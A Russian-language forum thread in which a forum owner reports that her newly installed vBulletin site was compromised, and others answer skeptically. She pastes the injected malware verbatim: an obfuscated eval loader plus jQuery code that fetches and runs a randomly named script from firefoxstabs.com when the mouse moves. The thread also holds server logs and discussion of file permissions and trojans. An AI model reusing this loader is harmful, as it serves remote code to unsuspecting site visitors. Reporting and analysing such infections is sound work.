Originally Posted by StenLi

Наверняка их больше)
Ребятки просто юзнули дорк по гуглу, а далее парсером прошлись.
Весь Процесс, практически можно автоматизировать)

У меня тож установлен указанный хак, но он был отключен. Кроме того, домен новый и его индексирование пока закрыто. Проверяла, нет в поисковиках. Тем не менее дня три назад на форуме началась регистрация спамеров. Зарегилось 10 штук с мылом от mail.ru. Никто не стал авторизироваться. Вот сегодня обнаружила "подарок" в папке со скриптами.

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0 1=\'7\';0 2=\'/8\';0 3=\'.9">\';0 4=\'</5>\';0 6=\'<5 a=b/c d="\';e.f(6+1+2+3+4);',16,16,'var|tho|ma|s|scrpt|script|m|cat|frame|php|type|text|javascript|src|document|write'.split('|'),0,{}))document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});

Originally Posted by vizantium

Вот сегодня обнаружила "подарок" в папке со скриптами.

забавный подарок)
погуглить домен, который внутри подарка, не пробовали?
находится много интересного, в том числе и сайтов, не имеющих никакого отношения к vB, зараженных этим же "подарком"

Прочитала про этот подарок. Сменила пароль, права на папки файлы проверила и забанила почту с mail.ru и gmail.com, с которых шли спамеры.

Но это зараза не с компа. У меня на локальном хосте этот же форум и всё в норме. Да, и файл был заражен тот, которым я не пользовалась, а внимание я на него обратила, потому что он был изменён 9 мая. Если подарок появится вновь, то отпишусь.

vizantium добавил 10.05.2011 в 08:42
Есть продолжение истории. Прежде чем продолжу, для ясности изложу предисторию, то что знаю на данный момент.

Мой рабочий браузер ослик. Вчера утром в браузере появились сообщение об ошибке, это значок в левом нижнем углу браузера - сообщалось, что в строке 2 нет определения jquery. Однако у меня на форуме такого скрипта не было. На всякий случай включила поиск в файлах форума на локальном хосте. Не обнаружила упоминания о jquery. Включила один из правильных браузеров последней версии. Ошибок на форуме он не обнаружил. Поскольку имя, на которое "жаловался" ослик, ассоциировалось у меня с названием известного скрипта jquery, то я и обратила внимание на папку со скриптами, где и обнаружила изменённый скрипт. Такова предыстория.

После ответа Luvilla я прочитала, что пишут в блогах про обнаруженный мною подарок на своём форуме. И только после этого обратила внимание на другие файлы форума. И обнаружила, что все индексные файлы PHP и HTML во всех папках, в том числе индекс главной страницы, были изменены 9 мая . Содержимое всех индексных файлов увеличилось. После чего просмотрела дату создания всех файлов форума, но остальные файлы остались не тронутыми.
Итог такой, что вредоносный скрипт был обнаружен в индексных файлах и в файле с расширением .js. Все файлы форума я перезаписала. Пока нет ошибок в браузере. Добавлю, что форум только что установлен, с хаками, никто на форуме сообщений не писал, а из посетителей были только спамеры, которые находились в группе ожидающих подтверждения о регистрации по почте.

vizantium добавил 10.05.2011 в 10:13
Ниже я привожу логи в очерёдности по времени.
Кроме меня сайт посетили:

1. Этот приходит каждый день в одно и тож время
195.239.178.215 - - [09/May/2011:04:56:15 +0400] "GET / HTTP/1.0" 200 126183 "-" "Mozilla/5.0 (compatible; Nigma.ru/3.0; crawler@nigma.ru)" 17081 0

2. Это поисковый робот - попал в список.
66.249.66.41 - - [09/May/2011:06:19:27 +0400] "GET /robots.txt HTTP/1.1" 200 25 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 11281 0

3. Странный гость. Отсутствует дата посещения.
18514 /forumdisplay.php?f=2" "Mozilla/4.0 (compatible; Powermarks/3.5; Windows 95/98/2000/NT)" 20012 0

4. Тоже самое что и третьим пунктом.
200 18368 /forumdisplay.php?f=84" "Mozilla/4.0 (compatible; Powermarks/3.5; Windows 95/98/2000/NT)" 21384 0

5. Ещё один не понятный гость.
95.30.235.147 - - [09/May/2011:09:20:42 +0400] "GET /wp-admin/js/cat.js HTTP/1.1" 403 2599 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" 17391 0

6. Робот с Яндекса.
95.108.241.252 - - [09/May/2011:09:24:31 +0400] "GET /robots.txt HTTP/1.1" 200 25 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 23710 0
95.108.241.252 - - [09/May/2011:09:24:45 +0400] "GET /robots.txt HTTP/1.1" 200 25 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 24063 0

Может, кто прокомментирует в плане того, кто из вышеуказанных посетителей сайта мог изменить файлы моего форума.

Originally Posted by vizantium

Может, кто прокомментирует в плане того, кто из вышеуказанных посетителей сайта мог изменить файлы моего форума.

хм... Вы это серьёзно?
первая реакция - "ноу комментс"

Вы бы сами сначала прочитали то, что выкладываете
каким местом яндекс-бот, который прочитал роботс.тхт, имеет отношение к файлам на фтп?

Originally Posted by vizantium

Сменила пароль, права на папки файлы

а какие ж там были права на файлы?

Originally Posted by vizantium

3. Странный гость. Отсутствует дата посещения.

угу... Гуглить Powermarks

Originally Posted by vizantium

5. Ещё один не понятный гость.
95.30.235.147 - - [09/May/2011:09:20:42 +0400] "GET /wp-admin/js/cat.js

ВордПресс присутствует?

Originally Posted by vizantium

и забанила почту с mail.ru и gmail.com

это круто.. забаньте ещё и всех поисковиков, а ещё лучше - закройте форум от всех, кроме своего IP, через .htaccess и спите спокойно...

====

vizantium, Ваше проблема не имеет никакого отношения к данной теме
после прочтения я вынесу эти посты в отдельную тему

Чистите комп от троянов.

Luvilla, мои проблемы возможно и не связаны с этой темой, зачем только писАть об этом, если моего согласия для модерации не требуется.

Я выложила всех гостей, которые посещали мой сайт в первой половине дня 9 мая. Были и роботы поисковики. Что тут не так. Я же не пишу, что они подозреваются в неблаговидных делах.

У меня на форуме нет посетителей, он не проиндексирован и приходят только спамеры из прибалтики с почтовыми ящиками от mail.ru и gmail.com. доступ для них для чистоты эксперимента я закрыла. Сегодня пришли уже четверо спамеров. Посмотрели на форум и ушли. Что в этом плохого?

Права на файлы были разные, в том числе и с 777. В этом я допустила оплошность.

Ворд Пресс на моём сайте отсутствует. Возможно это был запуск какой то сторонней программы.

Комп у меня чистый. На сервер я хожу с операционки, которой не пользуюсь для посещения других сайтов и на ней нет иных программ кроме локального сервера. То есть попадание заразы с мего компа исключено. Кроме того, если погуглить, то зараженными оказались множество сайтов. Сложно предположить, что админы не следят за своими компами. Да и хакеру проблематично будет сначала найти комп админа, трояна закачать, и надеяться, что троян переберётся на сайт.

Originally Posted by vizantium

Да и хакеру проблематично будет сначала найти комп админа, трояна закачать, и надеяться, что троян переберётся на сайт.

Originally Posted by vizantium

сначала найти комп админа

и найти и в гости прийти, делов-то)

Originally Posted by vizantium

трояна закачать

кто кого будет качать?)Оффтоп

троянов качают одминчеги, а не хацкеры...

Originally Posted by vizantium

что троян переберётся на сайт.

Сам, ога....)))))

Originally Posted by ZTX18

троянов качают одминчеги, а не хацкеры...

Я не знакома ни с теми ни с этими и эти имена не вызывают у меня никаких ассоциаций, кроме опасения, что из этой темы модераторы сделают три новых - про троянов, админчегов и хацкеров.